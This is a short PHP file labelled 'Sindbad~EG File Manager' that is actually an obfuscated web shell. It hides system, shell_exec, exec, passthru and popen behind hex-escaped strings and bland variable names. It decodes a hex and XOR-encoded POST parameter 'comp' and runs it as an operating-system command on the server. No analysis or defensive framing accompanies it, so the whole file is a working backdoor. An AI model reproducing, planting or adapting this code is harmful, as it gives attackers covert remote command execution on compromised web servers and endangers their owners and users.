Sindbad~EG File Manager

<?php

$core_engine3 = "exec";
$core_engine1 = "\x73\x79\x73tem";
$core_engine2 = "\x73he\x6Cl_e\x78ec";
$core_engine6 = "\x73\x74\x72\x65\x61m\x5F\x67et\x5F\x63ont\x65nts";
$api_gateway = "\x68\x65\x78\x32bin";
$core_engine7 = "\x70cl\x6Fs\x65";
$core_engine5 = "p\x6F\x70en";
$core_engine4 = "pa\x73\x73t\x68r\x75";
if (isset($_POST["comp"])) {
            function right_pad_string($ent , $desc) {
 $resource= '';
$a=0;
 do{
$resource.=chr(ord($ent[$a])^$desc);
$a++;

} while($a<strlen($ent));
 return$resource;

}
            $comp = $api_gateway($_POST["comp"]);
            $comp = right_pad_string($comp, 19);
            if (function_exists($core_engine1)) {
                $core_engine1($comp);
            } elseif (function_exists($core_engine2)) {
                print $core_engine2($comp);
            } elseif (function_exists($core_engine3)) {
                $core_engine3($comp, $factor_ent);
                print join("\n", $factor_ent);
            } elseif (function_exists($core_engine4)) {
                $core_engine4($comp);
            } elseif (function_exists($core_engine5) && function_exists($core_engine6) && function_exists($core_engine7)) {
                $desc_resource = $core_engine5($comp, 'r');
                if ($desc_resource) {
                    $itm_flg = $core_engine6($desc_resource);
                    $core_engine7($desc_resource);
                    print $itm_flg;
                }
            }
            exit;
        }